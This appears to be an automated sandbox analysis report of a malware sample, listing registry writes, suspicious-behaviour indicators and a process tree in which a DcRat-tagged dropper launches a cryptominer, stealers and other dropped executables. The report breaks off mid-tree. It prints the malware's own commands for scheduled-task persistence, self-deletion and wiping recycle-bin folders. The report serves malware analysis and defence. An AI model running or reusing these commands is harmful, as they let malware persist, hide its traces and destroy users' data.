Set value (data)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{A8A88C49-5EB2-4990-A1A2-087602 = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings\Cache\History\CachePrefix = "Visited:"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Explorer\Main\OperationalData = "1"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing\NewTabPage	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionLow = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\JumpListFirstRun = "3"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\JumpListInPrivateBrowsingAllowed = "1"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionHigh = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionHigh = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-Revision = "0"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\AdapterInfo = "vendorId=\"0x10de\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.15063.0\"hypervisor=\"No Hypervisor (No SLAT)\""	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\SyncIEFirstTimeFullScan = "1"	MicrosoftEdge.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2696	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4596	lodir.exe
4596	lodir.exe
504	notepad.exe
504	notepad.exe
5052	BLduscfibj.exe
5052	BLduscfibj.exe
3572	asdfg.exe
3572	asdfg.exe
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
1484	dialer.exe
1484	dialer.exe
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
1484	dialer.exe
1484	dialer.exe
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
3296	Explorer.EXE
4196	6.exe

Suspicious behavior: MapViewOfSection 38 IoCs

pid	Process
4596	lodir.exe
4140	escgwhs
2940	bin.exe
3724	bin.exe
3724	bin.exe
3724	bin.exe
3724	bin.exe
648	help.exe
648	help.exe
648	help.exe
648	help.exe
5092	MicrosoftEdgeCP.exe
5092	MicrosoftEdgeCP.exe
5092	MicrosoftEdgeCP.exe
5092	MicrosoftEdgeCP.exe
5092	MicrosoftEdgeCP.exe
5092	MicrosoftEdgeCP.exe
648	help.exe
2556	901d3bacbe82db5382c4f653efb11d4784254b3ad727530c73ae327b734c1a4b.exe
5092	MicrosoftEdgeCP.exe
5092	MicrosoftEdgeCP.exe
648	help.exe
648	help.exe
648	help.exe
648	help.exe
5092	MicrosoftEdgeCP.exe
5092	MicrosoftEdgeCP.exe
5092	MicrosoftEdgeCP.exe
5092	MicrosoftEdgeCP.exe
648	help.exe
648	help.exe
648	help.exe
648	help.exe
648	help.exe
648	help.exe
648	help.exe
648	help.exe
648	help.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3472	2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce.exe
Token: SeDebugPrivilege	504	notepad.exe
Token: SeDebugPrivilege	1544	asdfg.exe
Token: SeDebugPrivilege	5052	BLduscfibj.exe
Token: SeDebugPrivilege	5056	BLduscfibj.exe
Token: SeShutdownPrivilege	3296	Explorer.EXE
Token: SeCreatePagefilePrivilege	3296	Explorer.EXE
Token: SeShutdownPrivilege	3296	Explorer.EXE
Token: SeCreatePagefilePrivilege	3296	Explorer.EXE
Token: SeShutdownPrivilege	3296	Explorer.EXE
Token: SeCreatePagefilePrivilege	3296	Explorer.EXE
Token: SeDebugPrivilege	2128	werfault.exe
Token: SeShutdownPrivilege	3296	Explorer.EXE
Token: SeCreatePagefilePrivilege	3296	Explorer.EXE
Token: SeShutdownPrivilege	3296	Explorer.EXE
Token: SeCreatePagefilePrivilege	3296	Explorer.EXE
Token: SeDebugPrivilege	2292	powershell.exe
Token: SeIncreaseQuotaPrivilege	2292	powershell.exe
Token: SeSecurityPrivilege	2292	powershell.exe
Token: SeTakeOwnershipPrivilege	2292	powershell.exe
Token: SeLoadDriverPrivilege	2292	powershell.exe
Token: SeSystemProfilePrivilege	2292	powershell.exe
Token: SeSystemtimePrivilege	2292	powershell.exe
Token: SeProfSingleProcessPrivilege	2292	powershell.exe
Token: SeIncBasePriorityPrivilege	2292	powershell.exe
Token: SeCreatePagefilePrivilege	2292	powershell.exe
Token: SeBackupPrivilege	2292	powershell.exe
Token: SeRestorePrivilege	2292	powershell.exe
Token: SeShutdownPrivilege	2292	powershell.exe
Token: SeDebugPrivilege	2292	powershell.exe
Token: SeSystemEnvironmentPrivilege	2292	powershell.exe
Token: SeRemoteShutdownPrivilege	2292	powershell.exe
Token: SeUndockPrivilege	2292	powershell.exe
Token: SeManageVolumePrivilege	2292	powershell.exe
Token: 33	2292	powershell.exe
Token: 34	2292	powershell.exe
Token: 35	2292	powershell.exe
Token: 36	2292	powershell.exe
Token: SeIncreaseQuotaPrivilege	2292	powershell.exe
Token: SeSecurityPrivilege	2292	powershell.exe
Token: SeTakeOwnershipPrivilege	2292	powershell.exe
Token: SeLoadDriverPrivilege	2292	powershell.exe
Token: SeSystemProfilePrivilege	2292	powershell.exe
Token: SeSystemtimePrivilege	2292	powershell.exe
Token: SeProfSingleProcessPrivilege	2292	powershell.exe
Token: SeIncBasePriorityPrivilege	2292	powershell.exe
Token: SeCreatePagefilePrivilege	2292	powershell.exe
Token: SeBackupPrivilege	2292	powershell.exe
Token: SeRestorePrivilege	2292	powershell.exe
Token: SeShutdownPrivilege	2292	powershell.exe
Token: SeDebugPrivilege	2292	powershell.exe
Token: SeSystemEnvironmentPrivilege	2292	powershell.exe
Token: SeRemoteShutdownPrivilege	2292	powershell.exe
Token: SeUndockPrivilege	2292	powershell.exe
Token: SeManageVolumePrivilege	2292	powershell.exe
Token: 33	2292	powershell.exe
Token: 34	2292	powershell.exe
Token: 35	2292	powershell.exe
Token: 36	2292	powershell.exe
Token: SeShutdownPrivilege	3296	Explorer.EXE
Token: SeCreatePagefilePrivilege	3296	Explorer.EXE
Token: SeShutdownPrivilege	3296	Explorer.EXE
Token: SeCreatePagefilePrivilege	3296	Explorer.EXE
Token: SeShutdownPrivilege	3296	Explorer.EXE

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
1952	ko.exe
3296	Explorer.EXE
3296	Explorer.EXE
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
5124	notepad.exe
1952	ko.exe
5124	notepad.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
5124	notepad.exe
1952	ko.exe
5124	notepad.exe
1952	ko.exe
5124	notepad.exe
1952	ko.exe
1952	ko.exe
5124	notepad.exe
1952	ko.exe
5124	notepad.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
5124	notepad.exe
1952	ko.exe
5124	notepad.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
5124	notepad.exe
1952	ko.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
5124	notepad.exe
1952	ko.exe
5124	notepad.exe
1952	ko.exe
1952	ko.exe
1952	ko.exe
5124	notepad.exe
1952	ko.exe
5124	notepad.exe
1952	ko.exe
5124	notepad.exe
1952	ko.exe
1952	ko.exe
5124	notepad.exe
1952	ko.exe
3296	Explorer.EXE
5124	notepad.exe
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
1952	ko.exe
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE
3296	Explorer.EXE

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
2680	BroomSetup.exe
4196	6.exe
3464	MicrosoftEdge.exe
5092	MicrosoftEdgeCP.exe
3484	MicrosoftEdgeCP.exe
5092	MicrosoftEdgeCP.exe
3296	Explorer.EXE
5876	AUTOKEY.exe
5876	AUTOKEY.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3472 wrote to memory of 3812	3472	2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce.exe	74
PID 3472 wrote to memory of 3812	3472	2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce.exe	74
PID 3472 wrote to memory of 4596	3472	2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce.exe	76
PID 3472 wrote to memory of 4596	3472	2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce.exe	76
PID 3472 wrote to memory of 4596	3472	2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce.exe	76
PID 3812 wrote to memory of 504	3812	SvCpJuhbT.exe	77
PID 3812 wrote to memory of 504	3812	SvCpJuhbT.exe	77
PID 3812 wrote to memory of 504	3812	SvCpJuhbT.exe	77
PID 3812 wrote to memory of 504	3812	SvCpJuhbT.exe	77
PID 3812 wrote to memory of 504	3812	SvCpJuhbT.exe	77
PID 504 wrote to memory of 704	504	notepad.exe	78
PID 504 wrote to memory of 704	504	notepad.exe	78
PID 504 wrote to memory of 704	504	notepad.exe	78
PID 504 wrote to memory of 4796	504	notepad.exe	79
PID 504 wrote to memory of 4796	504	notepad.exe	79
PID 504 wrote to memory of 4796	504	notepad.exe	79
PID 504 wrote to memory of 4796	504	notepad.exe	79
PID 504 wrote to memory of 4796	504	notepad.exe	79
PID 504 wrote to memory of 4796	504	notepad.exe	79
PID 504 wrote to memory of 4796	504	notepad.exe	79
PID 504 wrote to memory of 4796	504	notepad.exe	79
PID 3472 wrote to memory of 1544	3472	2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce.exe	80
PID 3472 wrote to memory of 1544	3472	2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce.exe	80
PID 3472 wrote to memory of 1544	3472	2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce.exe	80
PID 1544 wrote to memory of 5052	1544	asdfg.exe	86
PID 1544 wrote to memory of 5052	1544	asdfg.exe	86
PID 1544 wrote to memory of 5052	1544	asdfg.exe	86
PID 1544 wrote to memory of 3572	1544	asdfg.exe	81
PID 1544 wrote to memory of 3572	1544	asdfg.exe	81
PID 1544 wrote to memory of 3572	1544	asdfg.exe	81
PID 1544 wrote to memory of 3572	1544	asdfg.exe	81
PID 1544 wrote to memory of 3572	1544	asdfg.exe	81
PID 1544 wrote to memory of 3572	1544	asdfg.exe	81
PID 1544 wrote to memory of 3572	1544	asdfg.exe	81
PID 1544 wrote to memory of 3572	1544	asdfg.exe	81
PID 1544 wrote to memory of 3572	1544	asdfg.exe	81
PID 1544 wrote to memory of 3572	1544	asdfg.exe	81
PID 5052 wrote to memory of 4132	5052	BLduscfibj.exe	82
PID 5052 wrote to memory of 4132	5052	BLduscfibj.exe	82
PID 5052 wrote to memory of 4132	5052	BLduscfibj.exe	82
PID 5052 wrote to memory of 5056	5052	BLduscfibj.exe	83
PID 5052 wrote to memory of 5056	5052	BLduscfibj.exe	83
PID 5052 wrote to memory of 5056	5052	BLduscfibj.exe	83
PID 5052 wrote to memory of 5056	5052	BLduscfibj.exe	83
PID 5052 wrote to memory of 5056	5052	BLduscfibj.exe	83
PID 5052 wrote to memory of 5056	5052	BLduscfibj.exe	83
PID 5052 wrote to memory of 5056	5052	BLduscfibj.exe	83
PID 5052 wrote to memory of 5056	5052	BLduscfibj.exe	83
PID 3472 wrote to memory of 4880	3472	2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce.exe	84
PID 3472 wrote to memory of 4880	3472	2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce.exe	84
PID 3572 wrote to memory of 1484	3572	asdfg.exe	92
PID 3572 wrote to memory of 1484	3572	asdfg.exe	92
PID 3572 wrote to memory of 1484	3572	asdfg.exe	92
PID 3572 wrote to memory of 1484	3572	asdfg.exe	92
PID 3572 wrote to memory of 1484	3572	asdfg.exe	92
PID 3472 wrote to memory of 2676	3472	2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce.exe	87
PID 3472 wrote to memory of 2676	3472	2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce.exe	87
PID 3472 wrote to memory of 4072	3472	2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce.exe	88
PID 3472 wrote to memory of 4072	3472	2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce.exe	88
PID 3472 wrote to memory of 4072	3472	2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce.exe	88
PID 3472 wrote to memory of 2208	3472	2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce.exe	95
PID 3472 wrote to memory of 2208	3472	2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce.exe	95
PID 2676 wrote to memory of 4960	2676	btcgood.exe	104
PID 2676 wrote to memory of 4960	2676	btcgood.exe	104

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	btcgood.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	btcgood.exe

c:\windows\system32\sihost.exe
sihost.exe
1⤵
PID:2908
- C:\Windows\SysWOW64\dialer.exe
  "C:\Windows\system32\dialer.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1484

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:3296
- C:\Users\Admin\AppData\Local\Temp\2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce.exe
  "C:\Users\Admin\AppData\Local\Temp\2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce.exe"
  2⤵
  - DcRat
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3472
- - C:\Users\Admin\AppData\Local\Temp\Files\SvCpJuhbT.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\SvCpJuhbT.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3812
  - - C:\Windows\SysWOW64\notepad.exe
      "C:\Windows\SysWOW64\notepad.exe"
      4⤵
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:504
    - - C:\Windows\Microsoft.NET\assembly\GAC_32\MSBuild\v4.0_4.0.0.0__b03f5f7f11d50a3a\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\assembly\GAC_32\MSBuild\v4.0_4.0.0.0__b03f5f7f11d50a3a\MSBuild.exe"
        5⤵
        
        PID:704
    - - C:\Windows\Microsoft.NET\assembly\GAC_32\MSBuild\v4.0_4.0.0.0__b03f5f7f11d50a3a\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\assembly\GAC_32\MSBuild\v4.0_4.0.0.0__b03f5f7f11d50a3a\MSBuild.exe"
        5⤵
        
        PID:4796
- - C:\Users\Admin\AppData\Local\Temp\Files\lodir.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\lodir.exe"
    3⤵
    - Executes dropped EXE
    - Checks SCSI registry key(s)
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    PID:4596
- - C:\Users\Admin\AppData\Local\Temp\Files\asdfg.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\asdfg.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1544
  - - C:\Users\Admin\AppData\Local\Temp\Files\asdfg.exe
      C:\Users\Admin\AppData\Local\Temp\Files\asdfg.exe
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3572
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3572 -s 536
        5⤵
        Program crash
        
        PID:1180
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3572 -s 528
        5⤵
        Program crash
        
        PID:3908
  - - C:\Users\Admin\AppData\Local\Temp\BLduscfibj.exe
      "C:\Users\Admin\AppData\Local\Temp\BLduscfibj.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5052
- - C:\Users\Admin\AppData\Local\Temp\Files\xmrig.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\xmrig.exe"
    3⤵
    - Executes dropped EXE
    PID:4880
- - C:\Users\Admin\AppData\Local\Temp\Files\btcgood.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\btcgood.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - Suspicious use of WriteProcessMemory
    - outlook_office_path
    - outlook_win_path
    PID:2676
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\Files\btcgood.exe"
      4⤵
      PID:4960
- - C:\Users\Admin\AppData\Local\Temp\Files\pei.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\pei.exe"
    3⤵
    - Executes dropped EXE
    PID:4072
- - C:\Users\Admin\AppData\Local\Temp\Files\asas.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\asas.exe"
    3⤵
    - Executes dropped EXE
    PID:2208
- - C:\Users\Admin\AppData\Local\Temp\Files\rty45.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\rty45.exe"
    3⤵
    - Executes dropped EXE
    PID:4068
- - C:\Users\Admin\AppData\Local\Temp\Files\Project_8.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Project_8.exe"
    3⤵
    - Executes dropped EXE
    PID:3776
  - - C:\Users\Admin\AppData\Local\Temp\648b5vt13485v134322685vt.exe
      "C:\Users\Admin\AppData\Local\Temp\648b5vt13485v134322685vt.exe"
      4⤵
      Executes dropped EXE
      PID:4932
- - C:\Users\Admin\AppData\Local\Temp\Files\InstallSetup2.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\InstallSetup2.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:5080
  - - C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe
      C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe
      4⤵
      Executes dropped EXE
      Drops desktop.ini file(s)
      Drops file in Windows directory
      Suspicious use of SetWindowsHookEx
      PID:2680
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Temp\Task.bat" "
        5⤵
        
        PID:2080
      - C:\Windows\SysWOW64\chcp.com
        
        chcp 1251
        6⤵
        
        PID:2492
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\Admin\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F
        6⤵
        DcRat
        Creates scheduled task(s)
        
        PID:4204
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c rd /s /q c:\$Recycle.bin
        5⤵
        
        PID:428
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c rd /s /q c:\recycler
        5⤵
        
        PID:2788
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c rd /s /q c:\$Recycle.bin
        5⤵
        
        PID:2072
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c rd /s /q c:\recycler
        5⤵
        
        PID:4588
  - - C:\Users\Admin\AppData\Local\Temp\nspB6E9.tmp
      C:\Users\Admin\AppData\Local\Temp\nspB6E9.tmp
      4⤵
      Executes dropped EXE
      Checks processor information in registry
      PID:4028
    - - C:\Windows\SysWOW64\cmd.exe
        
